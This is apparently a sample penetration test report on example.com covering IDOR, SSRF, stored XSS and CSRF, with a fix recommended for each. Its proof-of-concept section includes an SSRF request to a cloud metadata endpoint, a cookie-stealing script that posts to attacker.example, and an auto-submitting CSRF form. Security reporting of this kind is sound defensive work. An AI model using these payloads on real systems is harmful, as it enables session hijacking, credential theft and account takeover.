Jalwan

PENTEST REPORT

Sample Report

From Jalwan

Example
Attn. Redacted
Redacted
Redacted

December 18, 2025

Version 1.0

jalwan.app
Independent Security Researcher

Table of Contents

1 Executive Summary

1.1 Overview

A manual security assessment was conducted against **example.com** to evaluate the application's resistance to real-world attacks targeting authorization logic, input handling, and server-side request processing.

The assessment identified **four exploitable vulnerabilities**, including a **critical authorization flaw** and a **high-impact server-side request forgery (SSRF)**. These issues allow unauthorized access to sensitive data and enable the application server to initiate outbound requests to attacker-controlled or internal endpoints.

The identified vulnerabilities do not rely on uncommon attack techniques or zero-day exploits. They can be reproduced using standard HTTP requests and are consistent with weaknesses frequently abused in real incidents.

If exploited, these issues could result in:

- Unauthorized exposure of user and business data
- Interaction with internal or cloud-hosted services via the application server
- Compromise of user accounts through client-side code execution
- Abuse of authenticated user actions without their knowledge

While each issue carries individual risk, certain findings can be **combined**, increasing overall impact and reducing detection likelihood.

This report documents the observed behavior, proof-of-concept exploitation, and associated risk to support informed remediation decisions.

1.2 Assessment Highlights

- Manual testing only
- Focus on authorization, input handling, SSRF
- No scanner-only findings
- All issues verified with PoC

1.3 Identified Vulnerabilities

#	Severity	CVSS	Description
Broken Object Level Authorization (IDOR)	critical	9.4	Broken Object Level Authorization (IDOR)
Server-Side Request Forgery (SSRF)	high	7.7	Server-Side Request Forgery (SSRF)
Stored Cross-Site Scripting (XSS)	high	7.2	Stored Cross-Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)	medium	6.5	Cross-Site Request Forgery (CSRF)

2 Methodology

Testing Approach

Manual, attacker-oriented testing focusing on realistic abuse of application logic.

Techniques Used

- Authorization testing
- Object access validation
- Input manipulation
- Server-side request analysis
- CSRF testing

2.1 Scope

The scope of this assessment was limited to the **application layer** of **example.com** and focused on identifying vulnerabilities that could be exploited through normal user interaction and direct HTTP requests.

In Scope

- Publicly accessible web application endpoints
- Authenticated and unauthenticated user flows
- API endpoints exposed to the client
- User-controlled input processed server-side
- Features that initiate server-side outbound requests

Out of Scope

- Infrastructure-level testing (network, host, or container security)
- Denial-of-service or performance testing
- Social engineering or phishing attacks
- Third-party services and integrations not directly controlled by the application

The assessment was conducted using **manual testing techniques** to identify logic flaws, authorization issues, and request-handling weaknesses that are commonly missed by automated tools.

Out of Scope

- Infrastructure testing
- DoS
- Social engineering
- Third-party services

3 Findings

Broken Object Level Authorization (IDOR)	
Severity	critical
CVSS	9.4
Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H
Affected	• /api/orders/{id}

Overview

The application fails to enforce server-side ownership checks on protected objects.
As a result, authenticated users can access resources belonging to other users by modifying request identifiers.

Details

Impact:
This vulnerability allows unauthorized access to sensitive user data, including private orders and account-related information.
Exploitation can occur silently at scale without triggering security alerts.

Proof of Concept (Redacted):

```
GET /api/orders/2451
GET /api/orders/2448
```

The server returned order data belonging to different users without validating ownership.

Recommendation

Implement strict server-side authorization checks for all object access.
Ensure that the authenticated user is explicitly authorized to access the requested resource before returning any data.

Server-Side Request Forgery (SSRF)	
Severity	high
CVSS	7.7
Vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Affected	• Remote image import

Overview

The application fetches user-supplied URLs on the server without sufficient validation.

Details

Impact:
An attacker can force the server to make arbitrary requests, potentially accessing internal services or cloud metadata endpoints.

Proof of Concept:

```
POST /profile/avatar
{
  "image_url": "http://169.254.169.254/latest/meta-data/"
}
```

The server attempted to fetch the supplied URL, confirming server-side request execution.

This could be abused to:

- Access internal services
- Retrieve cloud credentials
- Scan internal network ranges

Recommendation

Restrict outbound requests to approved domains only.
Block internal IP ranges and metadata endpoints.
Implement URL validation and request timeouts.

Stored Cross-Site Scripting (XSS)	
Severity	high
CVSS	7.2
Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Affected	• User profile description

Overview

User input is stored and rendered without proper output encoding, allowing persistent JavaScript execution.

Details

Impact:
An attacker can execute JavaScript in other users' browsers, enabling session hijacking and account takeover.

Proof of Concept:
The following payload was submitted in the profile description field:

```
<script>fetch('https://attacker.example/log?c='+document.cookie)</script>
```

When another user viewed the profile, the script executed automatically and sent session data to the attacker-controlled server.

No user interaction was required.

Recommendation

Validate user input and apply context-aware output encoding before rendering stored data.
Avoid rendering raw HTML from user-controlled fields.

Cross-Site Request Forgery (CSRF)	
Severity	medium
CVSS	6.5
Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Affected	• /account/update-email

Overview

The application does not sufficiently protect state-changing requests against CSRF attacks.

Details

Impact:
An attacker can cause authenticated users to perform unwanted actions without their knowledge.

Proof of Concept:
The following HTML page triggers an authenticated request when visited by a logged-in user:

```
<form action="https://example.com/account/update-email" method="POST">
  <input type="hidden" name="email" value="attacker@example.com">
</form>
<script>document.forms[0].submit();</script>
```

The email address was updated successfully without any CSRF token validation.

Recommendation

Implement CSRF tokens on all state-changing requests and validate them server-side.
Bind tokens to the user session.

4 Overall Risk Assessment

Several findings may be chained, increasing impact while reducing detection.

5 Conclusion

Addressing these issues will significantly improve the application's security posture.

6 Disclaimer

This report was prepared by **Jalwan** for security assessment purposes only.